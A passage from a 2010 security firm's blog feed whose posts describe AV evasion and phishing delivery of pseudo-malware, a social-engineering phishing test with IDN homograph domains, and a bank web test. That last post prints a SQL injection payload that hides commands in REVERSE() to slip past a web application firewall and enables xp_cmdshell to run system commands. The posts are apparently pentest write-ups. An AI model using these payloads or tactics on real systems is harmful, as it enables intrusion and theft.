id="SPELLING_ERROR_22"&gt;Malware&lt;/span&gt; that contained several known detectable patterns.  The second image (after encryption) shows the same Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;Malware&lt;/span&gt; being scanned after encryption.  As you can see, the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;Malware&lt;/span&gt; passed all antivirus scanners as clean.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Now that we've prevented antivirus software from being able to detect our Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;Malware&lt;/span&gt;, we need to distribute it to our victims.  Distribution can happen many ways that include but are not limited to infected &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;USB&lt;/span&gt; drives, infected CD-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;ROM's&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;Phishing&lt;/span&gt; emails augmented by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;IDN&lt;/span&gt; homograph attacks with the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;Malware&lt;/span&gt; attached, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;Facebook&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;LinkedIn&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;MySpace&lt;/span&gt;, binding to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;PDF&lt;/span&gt; like files, etc.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Our &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_35"&gt;preferred&lt;/span&gt; method for infection is email (or maybe not).  This is because it is usually very easy to gather email addresses using various existing email harvesting technologies and we can hit a large number of people at the same time.  When using email, we may embed a link that points directly to our Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;Malware&lt;/span&gt;, or we might just insert the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;malware&lt;/span&gt; directly into the email.  Infection simply requires that the user click our link or run the attached executable. In either case, the Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;Malware&lt;/span&gt; is fast and quiet and the user doesn't notice anything strange.&lt;/p&gt;&lt;p class="MsoNormal"&gt;Once a computer is infected with our Pseudo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;Malware&lt;/span&gt; it connects back to our &lt;a href="http://en.wikipedia.org/wiki/Botnet"&gt;Command and Control server&lt;/a&gt; and grants us access to the system &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;unbeknownst&lt;/span&gt; to the user. Once we have access we can do anything that the user can do including but not limited to seeing the users screen as if we were right there, running programs, installing software, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;uninstalling&lt;/span&gt; software, activating web cam's and microphones, accessing and manipulating hardware, etc.  More importantly, we can use that computer to compromise the rest of the network through a process called &lt;a href="http://www.phrack.org/issues.html?issue=55&amp;amp;id=16"&gt;Distributed Metastasis&lt;/a&gt;.  &lt;/p&gt;&lt;p class="MsoNormal"&gt;Despite how easy it is to bypass antivirus technologies, we still very strongly recommend using them as they keep you protected from known &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;malware&lt;/span&gt; variants.  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7223280150776535454?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7223280150776535454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/08/bypassing-antivirus-to-hack-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7223280150776535454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7223280150776535454'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/08/bypassing-antivirus-to-hack-you.html' title='Bypassing Antivirus to Hack You'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_EB6c20kYC_c/TFysOe6-3jI/AAAAAAAAAF0/bnzxdawjBC8/s72-c/Screen+shot+2010-08-06+at+8.07.37+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5807950459288631367</id><published>2010-06-14T04:14:00.001-07:00</published><updated>2010-06-14T17:08:08.657-07:00</updated><title type='text'>Security Vulnerability Penetration Assessment Test?</title><content type='html'>Our philosophy here at Netragard is that security-testing services must produce a threat that is at least equal to the threat that our customers are likely to face in the real world. If we test our customers at a lesser threat level and a higher-level threat attempts to align with their risks, then they will likely suffer a compromise. If they do suffer a compromise, then the money that they spent on testing services might as well be added to the cost in damages that result from the breach.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EB6c20kYC_c/TBbEGiMmjkI/AAAAAAAAAE0/uI98-BeB0Do/s1600/Screen+shot+2010-06-14+at+8.01.38+PM.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 287px; height: 323px;" src="http://1.bp.blogspot.com/_EB6c20kYC_c/TBbEGiMmjkI/AAAAAAAAAE0/uI98-BeB0Do/s400/Screen+shot+2010-06-14+at+8.01.38+PM.png" alt="" id="BLOGGER_PHOTO_ID_5482785212908080706" border="0" /&gt;&lt;/a&gt;This is akin to how armor is tested. Armor is designed to protect something from a specific threat. In order to be effective, the armor is exposed to a level of threat that is slightly higher than what it will likely face in the real world. If the armor is penetrated during testing, it is enhanced and hardened until the threat cannot defeat the armor. If armor is penetrated in battle then there are casualties. That class of testing is called Penetration Testing and the level of threat produced has a very significant impact on test quality and results.&lt;br /&gt;&lt;br /&gt;What is particularly scary is that many of the security vendors who offer Penetration Testing services either don't know what Penetration Testing is or don’t know the definitions for the terms. Many security vendors confuse Penetration Testing with Vulnerability Assessments and that confusion translates to the customer. The terms are not interchangeable and they do not define methodology, they only define testing class.  So before we can explain service quality and threat, we must first properly define services.&lt;br /&gt;&lt;br /&gt;Based on the English dictionary the word “Vulnerability” is best defined as susceptibility to harm or attack. Being vulnerable is the state of being exposed.  The word “Assessment” is best defined as the means by which the value of something is estimated or determined usually through the process of testing.  As such, a “Vulnerability Assessment” is a best estimate as to how susceptible something is to harm or attack.&lt;br /&gt;&lt;br /&gt;Lets do the same for “Penetration Test”.  The word “Penetration” is best defined as the act of entering into or through something, or the ability to make way into or through something.  The word “Test” is best defined as the means by which the presence, quality or genuineness of anything is determined. As such the term “Penetration Test” means to determine the presence of points where something can make its way through or into something else.&lt;br /&gt;&lt;br /&gt;Despite what many people think, neither term is specific to Information Technology.  Penetration Tests and Vulnerability Assessments existed well before the advent of the microchip.  In fact, the ancient Romans used a form of penetration testing to test their armor against various types of projectiles.  Today, we perform Structural Vulnerability Assessments against things like the Eiffel Tower, and the Golden Gate Bridge.  Vulnerability Assessments are chosen because Structural Penetration Tests would cause damage to, or possibly destroy the structure.&lt;br /&gt;&lt;br /&gt;In the physical world Penetration Testing is almost always destructive (at least to a degree), but in the digital world it isn’t destructive when done properly.  This is mostly because in the digital world we’re penetrating a virtual boundary and in the physical world we’re penetrating a physical boundary.  When you penetrate a virtual boundary you’re not really creating a hole, you’re usually creating a process in memory that can be killed or otherwise removed. &lt;br /&gt;&lt;br /&gt;When applied to IT Security, a Vulnerability Assessment isn't as accurate as a Penetration Test. This is because Vulnerability Assessments are best estimates and Penetration Tests either penetrate or they don’t.  As such, a quality Vulnerability Assessment report will contain few false positives (false findings) while a quality Penetration Testing report should contain absolutely no false positives. (though they do sometimes contain theoretical findings).&lt;br /&gt;&lt;br /&gt;The quality of service is determined by the talent of the team delivering services and by the methodology used for service delivery.  A team of research capable ethical hackers that have a background in exploit development and system / network penetration will usually deliver higher quality services than a team of people who are not research capable. If a team claims to be research capable, ask them for example exploit code that they’ve written and ask them for advisories that they’ve published.&lt;br /&gt;&lt;br /&gt;Service quality is also directly tied to threat capability.  The threat in this case is defined by the capability of real world malicious hackers.  If testing services do not produce a threat level that is at least equal to the real world threat, then the services are probably not worth buying.  After all, the purpose for security testing is to identify risks so that they can be fixed / patched / eliminated before malicious hackers exploit them. But if the security testing services are less capable than the malicious hacker, then chances are the hacker will find something that the service missed.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5807950459288631367?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5807950459288631367/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/06/security-vulnerability-penetration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5807950459288631367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5807950459288631367'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/06/security-vulnerability-penetration.html' title='Security Vulnerability Penetration Assessment Test?'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_EB6c20kYC_c/TBbEGiMmjkI/AAAAAAAAAE0/uI98-BeB0Do/s72-c/Screen+shot+2010-06-14+at+8.01.38+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5844382027534246252</id><published>2010-06-11T11:29:00.000-07:00</published><updated>2010-06-11T11:54:11.303-07:00</updated><title type='text'>We Are Politically Incorrect</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Back in February of 2009 we released an article called &lt;a href="http://snosoft.blogspot.com/2009/02/facebook-from-hackers-perspective.html"&gt;FaceBook from the hackers perspective&lt;/a&gt;.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;As far as we know, we were the first to publish a detailed article about using Social Networking Websites to deliver surgical Social Engineering attacks. Since that time, we noticed a significant increase in marketing hype around Social Engineering from various other security companies. The problem is that they're not telling you the whole truth.&lt;/div&gt;&lt;p class="MsoNormal"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 366px; height: 103px;" src="http://4.bp.blogspot.com/_EB6c20kYC_c/TBKBRrelnLI/AAAAAAAAAEc/Ovz-llm87Y4/s400/Screen+shot+2010-06-11+at+2.31.53+PM.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5481585837192092850" /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;The whole truth is that Social Engineering is a necessary but potentially dangerous service.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Social Engineering at its roots is the act of exploiting the human vulnerability and as such is an offensive and &lt;a href="http://en.wikipedia.org/wiki/Politically_Incorrect"&gt;politically incorrect&lt;/a&gt; service.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If a customer’s business has any pre-existing social or political issues then Social Engineering can be like putting a match to a powder keg.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In some cases the damages can be serious and can result in legal action between employee and employer, or visa versa.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;It’s for this reason that businesses need to make sure that their environments are conducive to receiving social attacks, and that they are prepared to deal with the emotional consequences that might follow.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;If employees are trained properly and if security policies are enforced that cover the social vector, then things “should” be ok. If those policies don’t exist and if there’s any internal turmoil, high-risk employees, or potentially delicate political situations, then Social Engineering is probably not such a great idea as it will likely identify and exploit one of those pre-existing issues.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;For example, we recently delivered services to a customer that had pre-existing issues but assumed that their environment was safe for testing with Social Engineering.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In this particular case the customer had an employee that we’ll call Jane Doe who was running her own business on the side.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Jane Doe was advertising her real employers name on her business website making it appear as if there was a relationship between her employer and her business.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;She was also advertising her business address as her employers address on her FaceBook fan page.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;From our perspective, Jane Doe was a perfect Social Engineering target.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;With this social risk identified, we decided that we’d impersonate Jane Doe and hijack the existing relationships that she had with our customer (her employer).&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We accomplished this with a specially crafted phishing attack.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;The first step in the phish was to collect content for the phishing email.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In this case Jane Doe posted images to her FaceBook fan page that included a photo of herself and a copy of her businesses logo. We used those images to create an email that looked like it originated from Jane Doe’s email address at our customers network and was offering the recipient discounted pricing. (Her FaceBook privacy settings were set to allow everybody.)&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;Once we had the content for the phishing email set up we used an &lt;/span&gt;&lt;span&gt;&lt;a href="http://en.wikipedia.org/wiki/IDN_homograph_attack"&gt;IDN homograph attack &lt;/a&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;to register a new domain that appeared to be identical to our customers domain.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;For example, if our customer was SNOsoft and their real domain was snosoft.com, the fake domain looked just like “snosoft.com”.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;We embedded a link into the phishing email using the fake domain to give it a legitimate look and feel.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;The link was advertised as the place to click to get information about specially discounted offerings that were specific to our customer’s employees.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Of course, the link really pointed to our web server where we were hosting a &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.snosoft.com/pwnt.html"&gt;browser based exploit&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;Then we collected email addresses using an enumerator and loaded those into a distribution list.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;We sent a test email to ourselves first to make sure that everything would render ok.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Once our testing was complete, we clicked send and the phish was on its way.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Within 15 minutes of delivering the attack our customer called us and requested that all testing be stopped.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;But by that time, 38 people had already clicked on our embedded URL, and more clicks were on their way.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 286px;" src="http://4.bp.blogspot.com/_EB6c20kYC_c/TBKCUSq6PoI/AAAAAAAAAEk/5SzmpU1UNM8/s400/Screen+shot+2010-06-11+at+2.36.03+PM.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5481586981584125570" /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;As it turns out, our customer wasn’t prepared to receive Social Engineering tests despite the fact that they requested them.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;At first they accused us of being unprofessional because we used Jane Doe’s picture in the phishing email, which was apparently embarrassing to Jane Doe.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Then they accused us of being politically incorrect for the same reason.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;So we asked our customer, &lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;“Do you think that a black-hat would refrain from doing this because it’s politically incorrect?”&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;Then we said, “Imagine if a black-hat launched this attack, and received 38 clicks (and counting).” (Each click representing a potential compromise).&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;While we can’t go into much more detail for reasons of confidentiality, the phishing attack uncovered other more serious internal and political issues.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Because of those issues, we had to discontinue testing and move to report delivery.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;There was no fault or error on our part as everything was requested and authorized by the customer, but this was certainly a case of the match and the powder keg.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt;Despite the unfortunate circumstances, the customer did benefit significantly from the services.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Specifically, the customer became aware of some very serious social risks that would have been extremely damaging had they been identified and exploited by black-hat hackers.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Even if it was a painful process for the customer, we’re happy that we were able to deliver the services as we did because they enabled our customer to reduce their overall risk and exposure profile.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="mso-spacerun: yes"&gt; The moral of the story is that businesses should take care and caution when requesting Social Engineering services.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;They should be prepared for uncomfortable situations and discoveries, and if possible they should train and prepare their employees in advance.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;In the end it boils down to one of two things.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Is it more important for a company to understand their risks or is it more important to avoid embarrassing or offending an employee. &lt;/span&gt;&lt;/p&gt;  &lt;!--EndFragment--&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5844382027534246252?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5844382027534246252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2010/06/we-are-politically-incorrect.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5844382027534246252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5844382027534246252'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2010/06/we-are-politically-incorrect.html' title='We Are Politically Incorrect'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_EB6c20kYC_c/TBKBRrelnLI/AAAAAAAAAEc/Ovz-llm87Y4/s72-c/Screen+shot+2010-06-11+at+2.31.53+PM.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8691047599095565970</id><published>2010-05-16T21:55:00.000-07:00</published><updated>2010-05-16T22:22:27.150-07:00</updated><title type='text'>REVERSE(noitcejnI LQS dnilB) Bank Hacking</title><content type='html'>Earlier this year we were hired to perform an Overt &lt;a href="http://www.netragard.com/services_webassess.php"&gt;Web Application Penetration Test&lt;/a&gt; for &lt;a href="http://www.snosoft.com/hacked-2.html"&gt;one of our banking customers&lt;/a&gt; (did you click that?).&lt;span style=""&gt;  &lt;/span&gt;This customer is a reoccurring customer and so we know that they have&lt;a href="http://www.owasp.org/index.php/Web_Application_Firewall"&gt; Web Application Firewalls &lt;/a&gt;and &lt;a href="http://en.wikipedia.org/wiki/Intrusion_prevention_system"&gt;Network Intrusion Prevention Systems&lt;/a&gt; in play.&lt;span style=""&gt;  &lt;/span&gt;We also know that they are very security savvy and that they respond to attacks promptly and appropriately.&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_EB6c20kYC_c/S_DMobmR7eI/AAAAAAAAAEU/k0ACfmGp20g/s1600/ear0874l.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 346px;" src="http://1.bp.blogspot.com/_EB6c20kYC_c/S_DMobmR7eI/AAAAAAAAAEU/k0ACfmGp20g/s400/ear0874l.jpg" alt="" id="BLOGGER_PHOTO_ID_5472098542230302178" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Because this test was Overt in nature (non-stealth) we began testing by configuring &lt;a href="http://www.acunetix.com/"&gt;Acunetix&lt;/a&gt; to use &lt;a href="http://portswigger.net/suite/pro.html"&gt;burpsuite-pro&lt;/a&gt; as a proxy.&lt;span style=""&gt;  &lt;/span&gt;Then we ran an automated Web Application Vulnerability Scan with Acunetix and watched the scan populate burpsuite-pro with information. &lt;span style=""&gt; &lt;/span&gt;While the scan results were mostly fruitless we were able to pick up with manual testing and burpsuite-pro.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;While the automated scans didn’t find anything our manual testing identified an interesting &lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;Blind SQL Injection Vulnerability&lt;/a&gt;.&lt;span style=""&gt;  &lt;/span&gt;This blind SQL Injection vulnerability was the only vulnerability that we discovered that had any real potential.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;It’s important understand to the difference between standard SQL Injection Vulnerabilities and Blind SQL Injection Vulnerabilities.&lt;span style=""&gt;  &lt;/span&gt;A standard SQL Injection Vulnerability will return useful error information to the attacker and usually display that information in the attackers web browser.&lt;span style=""&gt;  &lt;/span&gt;That information helps the attacker debug and refine the attack.&lt;span style=""&gt;  &lt;/span&gt;Blind SQL Injection Vulnerabilities return nothing, making them much more difficult to exploit.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Since the target Web Application was protected by two different Intrusion Prevention Technologies, and since the vulnerability was a Blind SQL Injection Vulnerability, we knew that exploitation wasn’t going to be easy.&lt;span style=""&gt;  &lt;/span&gt;To be successful we’d first need to defeat the Network Intrusion Prevention System and then the Web Application Firewall. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Defeating Network Intrusion Prevention Systems is usually fairly easy.&lt;span style=""&gt;  &lt;/span&gt;The key is to find an attack vector that the Network Intrusion Prevention System can’t monitor.&lt;span style=""&gt;  &lt;/span&gt;In this case (like most cases) our Web Application’s server accepted connections over SSL (via HTTPS).&lt;span style=""&gt;  &lt;/span&gt;Because SSL based traffic is encrypted the Network Intrusion Prevention System can’t intercept and analyze the traffic.&lt;span style=""&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Defeating Web Application Firewalls is a bit more challenging.&lt;span style=""&gt;  &lt;/span&gt;In this case, the Web Application Firewall was the termination point for the SSL traffic and so it didn’t suffer from the same SSL blindness issues that the Network Intrusion Prevention System did.&lt;span style=""&gt;  &lt;/span&gt;In fact, the Web Application Firewall was detecting and blocking our embedded SQL commands very successfully.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;We tried some of the known techniques for bypassing Web Application Firewalls but to no avail. &lt;span style=""&gt;  &lt;/span&gt;The vendor that makes this particular Web Application Firewall does an excellent job at staying current with the latest methods for bypassing Web Application Firewall technologies. &lt;span style=""&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Then we decided that we’d try attacking backwards. Most SQL databases support a reverse function. That function does just what you’d think that it would do; it returns the reverse of whatever string you feed it.&lt;span style=""&gt;  &lt;/span&gt;So we wrote our commands backwards and encapsulated then in the reverse() function provided by the SQL server.&lt;span style=""&gt;  &lt;/span&gt;When we fed our new reversed payloads to the Web Application the Web Application Firewall failed to block the commands.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;As it turns out most (maybe all) Web Application Firewalls can be bypassed if you reverse the spelling of your SQL commands. So you’d rewrite “xp_cmdshell” as “llehsdmc_px” and then encapsulate it in the reverse function.&lt;span style=""&gt;  &lt;/span&gt;As far as we know we’re the first to discover and use this method to successfully bypass a Web Application Firewall.&lt;span style=""&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The next step in the attack was to reconfigure and enable the xp_cmdshell function. The xp_cmdshell is important as it executes a given command string as an operating-system command shell and returns any output rows of text.&lt;span style=""&gt;  &lt;/span&gt;Simply put, it’s just like sitting at the DOS prompt. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The technique used to reconfigure the xp_cmdshell functionality is well known and well documented.&lt;span style=""&gt;  &lt;/span&gt;But, since we did it using backwards commands we thought that we would show you what it looked like.&lt;span style=""&gt;  &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;    &lt;p style="font-weight: bold;" class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;var=1';DECLARE @a varchar(200) DECLARE @b varchar(200) DECLARE @c varchar(200) SET @a = REVERSE ('1 ,"snoitpo decnavda wohs" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @b = REVERSE ('1,"llehsdmc_px" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @c =REVERSE('"moc.dragarten gnip" llehsdmc_px') EXEC (@c);--&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;The above SQL commands do the following three things:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;1-) C:\&gt; show advanced options, 1 \n&lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:85%;"&gt;Use the “&lt;span style=""&gt;show advanced options”&lt;/span&gt; option to display the &lt;span style=""&gt;sp_configure&lt;/span&gt; system stored procedure advanced options. When you set &lt;span style=""&gt;show advanced options&lt;/span&gt; to 1, you can list the advanced options by using &lt;span style=""&gt;sp_configure&lt;/span&gt;. The default is 0. The setting takes effect immediately without a server restart.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; 